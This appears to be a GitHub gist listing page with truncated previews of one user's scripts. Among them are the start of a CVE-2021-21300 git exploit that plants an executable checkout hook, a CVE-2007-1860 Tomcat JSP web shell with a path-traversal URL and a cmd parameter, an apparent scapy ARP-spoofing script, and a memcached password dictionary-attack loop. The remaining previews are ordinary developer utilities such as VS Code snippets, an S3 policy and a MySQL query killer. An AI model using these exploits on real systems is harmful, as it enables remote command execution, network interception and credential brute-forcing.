View CVE-2021-21300-exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
git init delayed-checkout && | |
( | |
cd delayed-checkout && | |
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \ | |
>.gitattributes && | |
mkdir A && | |
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout && | |
chmod +x A/post-checkout && |
View cve-2007-1860
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# how to use | |
# build | |
# $ jar -cvf index.war * | |
# upload to tomacat server | |
# execute | |
# http://taget/%252e%252e/%252e%252e/cve-2007-1860/index.jsp?cmd=ls | |
<FORM METHOD=GET ACTION='index.jsp'> | |
<INPUT name='cmd' type=text> |
View gist:d1f6a0dccf9be4428dca855c185e6367
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sys | |
import threading | |
import signal | |
from scapy.all import * | |
HWDST_SRC = "ff:ff:ff:ff:ff:ff" | |
interface = "" | |
target_ip = "" |
View fuckUOLChat.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var timex = setInterval(sendFuckingMsg, 30000); | |
function sendFuckingMsg(){ | |
productName = "ESPN Ilimitado"; | |
uolPersonName = document.getElementById("Span1").textContent; | |
textField = document.getElementById("message"); | |
button = document.getElementsByClassName("vinter-button vinter-quest-btnSend")[0]; | |
textField.value = "Oi" + uolPersonName + "Não estou interessado. Quero CANCELAR o " + productName + "!"; | |
button.click(); | |
} |
View Kill sleep or slow query in mysql
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import logging | |
import MySQLdb as mdb | |
from datetime import datetime | |
import sys | |
logging.basicConfig( | |
filename='killed_queries.log', | |
filemode='w', |
View memcached-dictonary-attack.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
while read F ; do | |
echo "Trying $F" | |
if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then | |
echo "Password Found: "$F | |
break | |
fi | |
done < $3 |
View get-lambdas.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
aws_region='us-east-1' | |
functions=$(aws lambda list-functions --region us-east-1 | jq -r '.Functions[].FunctionName') | |
for function in $functions; do | |
datetime=$(date) | |
echo "[$datetime] Downloading Lambda $function" | |
function_url=$(aws lambda get-function --function-name $function --query 'Code.Location' --region $aws_region) | |
url=$(echo $function_url | tr -d '"') |
View vsc_js_snippets.json
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"Console Log": { | |
"prefix": "cl", | |
"body": "console.log($1);", | |
"description": "Console Log" | |
}, | |
"Named Function": { | |
"prefix": "nfn", | |
"body": ["function ${1:functionName}($2) {", " $3", "}"], | |
"description": "Named Function" |
View vsc-awesome-extensions.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
code --install-extension andys8.jest-snippets | |
code --install-extension christian-kohler.npm-intellisense | |
code --install-extension christian-kohler.path-intellisense | |
code --install-extension cssho.vscode-svgviewer | |
code --install-extension dbaeumer.vscode-eslint | |
code --install-extension donjayamanne.githistory | |
code --install-extension dracula-theme.theme-dracula | |
code --install-extension eamodio.gitlens | |
code --install-extension EditorConfig.EditorConfig |
View S3 static hosting buket policy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"Version": "2008-10-17", | |
"Statement": [ | |
{ | |
"Sid": "AllowPublicRead", | |
"Effect": "Allow", | |
"Principal": { | |
"AWS": "*" | |
}, | |
"Action": "s3:GetObject", |
NewerOlder